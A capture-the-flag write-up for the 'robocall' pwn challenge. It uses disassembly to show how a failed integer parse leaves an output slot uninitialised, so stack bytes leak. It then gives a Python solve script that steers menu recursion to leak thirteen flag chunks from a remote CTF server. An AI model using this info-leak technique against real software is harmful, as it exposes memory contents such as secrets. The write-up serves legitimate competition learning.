A phone tree that will not let you cancel your subscription. “Let’s see how nimbly you navigate this stack” is not flavour text — the flag is written into dead stack memory as thirteen four-byte chunks at thirteen fixed depths, and the only way to read one back is to arrange for a stack frame to land exactly on it.
The read primitive is an integer parser that returns failure without writing its output parameter, and a caller that prints that output anyway.
Challenge Description
Welcome to robocall! Let’s see how nimbly you navigate this stack.
Provided: robocall. PIE, and usefully not stripped — nm gives every function name.
Initial Analysis
The binary is a menu maze: call the cable company, sit through options, and try to reach cancellation. The symbol table points straight at the interesting part:
00000000000018ac place_flag0000000000001a0d main0000000000001aab start_position0000000000001c29 initial_call0000000000002cb0 cancel_plan0000000000001431 raw_parse_int00000000000012a9 raw_print_int0000000000004020 CHUNK_DEPTH (.rodata)place_flag is called from main before anything else:
1a26: call 18ac <place_flag>It opens flag.txt, reads 60 bytes, zeroes a 0x2000 stack region, then scatters the flag:
1979: lea rax,[rip+0x269f] ; CHUNK_DEPTH1981: mov eax,DWORD PTR [rdx+rax*1]1984: mov edx,0x19dc1989: sub edx,eax ; 0x19dc - CHUNK_DEPTH[i]198e: lea rdx,[rbp-0x2020]1995: add rax,rdx ; destination for chunk i...19d3: cmp DWORD PTR [rbp-0x8],0x3 ; four bytes per chunk19f1: cmp DWORD PTR [rbp-0x4],0xc ; thirteen chunksSo chunk i goes to rbp - (1604 + CHUNK_DEPTH[i]) — and then the function returns, leaving all thirteen as dead stack below the frame.
CHUNK_DEPTH = 1024 1152 1312 1392 1440 1600 1680 1728 1888 1968 2016 2048 2176The Vulnerability
raw_parse_int bails out on non-numeric input without ever touching its output parameter:
14c6: cmp al,0x2f14c8: jle 14de14da: cmp al,0x3914dc: jle 14e814de: mov eax,0x014e3: jmp 156a ; return 0, *out untouchedAnd in cancel_plan, the caller prints that same slot regardless:
2f01: call 1431 <raw_parse_int>2f34: lea rax,[rip+0x27a3] ; "You've entered \""2f3e: call 1209 <raw_print>2f43: mov eax,DWORD PTR [rbp-0x204] ; uninitialised on a failed parse2f4b: call 12a9 <raw_print_int>So a non-numeric answer makes the program print four raw bytes of stack as a signed integer. struct.pack("<i", N) turns it straight back into a flag chunk.
One catch: all six raw_parse_int calls in cancel_plan share the same output slot at [rbp-0x204]. Answering the first “are you sure?” prompt with a digit initialises it, and the second prompt then prints that digit back:
Press 1 for no.Press 8 for yes.8Are you not sure?xYou've entered "8", are you sure? <- stale, not a leakGive a non-numeric answer to both prompts and the slot is never written at all:
round 1: 125 -> b'}\x00\x00\x00'125 is } — the last byte of the flag. That confirms the mechanism.
Which chunk you get
The leak address is cancel_plan_rbp - 0x204. On the shortest route to the cancel prompt that lands exactly on the point where CHUNK_DEPTH would be zero, so the extra stack depth burned before cancelling is the chunk index.
Depth accumulates because the menu handlers do not return — each one calls start_position again, so every detour is permanent for the life of the process.
The step costs have to be measured, not computed from frame sizes. The handlers return before recursing, so the arithmetic is not what the sub rsp values suggest:
| detour | cost |
|---|---|
scream (menu 3, then a frustration rating) | 288 |
Call, report outage (1, 2) | 1024 |
Call, technical support, report outage (1, 4, 1) | 1392 |
| invalid menu input | 0 — it re-reads in place, no recursion |
The invalid-input case is the one that looks most promising and does nothing at all: the prompt is not reprinted and no frame is pushed.
Every required depth is then 1024a + 1392b + 288c:
chunk 0 d=1024 ['outage'] chunk 1 d=1152 ['scream'] * 4 chunk 2 d=1312 ['outage', 'scream'] chunk 3 d=1392 ['tech'] chunk 4 d=1440 ['scream'] * 5 chunk 5 d=1600 ['outage', 'scream', 'scream'] chunk 6 d=1680 ['tech', 'scream'] chunk 7 d=1728 ['scream'] * 6 chunk 8 d=1888 ['outage', 'scream', 'scream', 'scream'] chunk 9 d=1968 ['tech', 'scream', 'scream'] chunk 10 d=2016 ['scream'] * 7 chunk 11 d=2048 ['outage', 'outage'] chunk 12 d=2176 ['outage', 'scream', 'scream', 'scream', 'scream']One process per chunk, thirteen runs, concatenate.
Speed
Every prompt is padded with a nanosleep whose duration comes from the global be_annoying, and without dealing with it each run takes minutes. main checks the very first line:
1a85: call 1431 <raw_parse_int>1a90: cmp eax,0x2a ; 421a93: jne 1a9f1a95: mov DWORD PTR [rip+0x5a91],0x0 ; be_annoying = 0Entering 42 at “Press enter to start” removes every delay.
Solve Script
import struct, re
# measured, not derived from frame sizes: the handlers return before recursingSIZE = {"scream": 288, "outage": 1024, "tech": 1392}CD = [1024, 1152, 1312, 1392, 1440, 1600, 1680, 1728, 1888, 1968, 2016, 2048, 2176]
def plan_for(depth): for base, n in (("tech", 1), ("outage", 2), ("outage", 1), (None, 0)): rem = depth - (SIZE[base] * n if base else 0) if rem >= 0 and rem % 288 == 0: return ([base] * n if base else []) + ["scream"] * (rem // 288)
def step(t, kind): if kind == "scream": t.send("3\n"); t.until("how frustrated are you?") t.send("7\n"); t.until("3. Scream") else: t.send("1\n"); t.until("press 7.") t.send({"outage": "2\n", "tech": "4\n"}[kind]) if kind == "tech": t.until("equipment replaced press 2."); t.send("1\n") t.until("report the outage address:"); t.send("nowhere\n") t.until("3. Scream")
def leak(t): t.send("1\n"); t.until("press 7.") t.send("6\n"); t.until("operator press 3.") t.send("2\n"); t.until("phone number associated") t.send("5551234567\n"); t.until("address we have on file.") t.send("123 Moon St\n"); t.until("name of your first pet.") t.send("Rex\n"); t.until("Press 8 for yes.") t.send("x\n"); t.until("Press 8 for yes.") # both prompts t.send("x\n") # must be non-numeric out = CLEAN(t.until('", are you sure?')) return int(re.search(rb'You\'ve entered "(-?\d+)"', out).group(1))
def run(target, steps): t = Tube(target) t.until("Press enter to start."); t.send("42\n") # be_annoying = 0 t.until("3. Scream") for k in steps: step(t, k) return leak(t)
flag = b"".join(struct.pack("<i", run(("sunshinectf.games", 26199), plan_for(d))) for d in CD)print(flag.decode())Flag
sun{you_must_be_some_sort_of_nimble_space_navigator}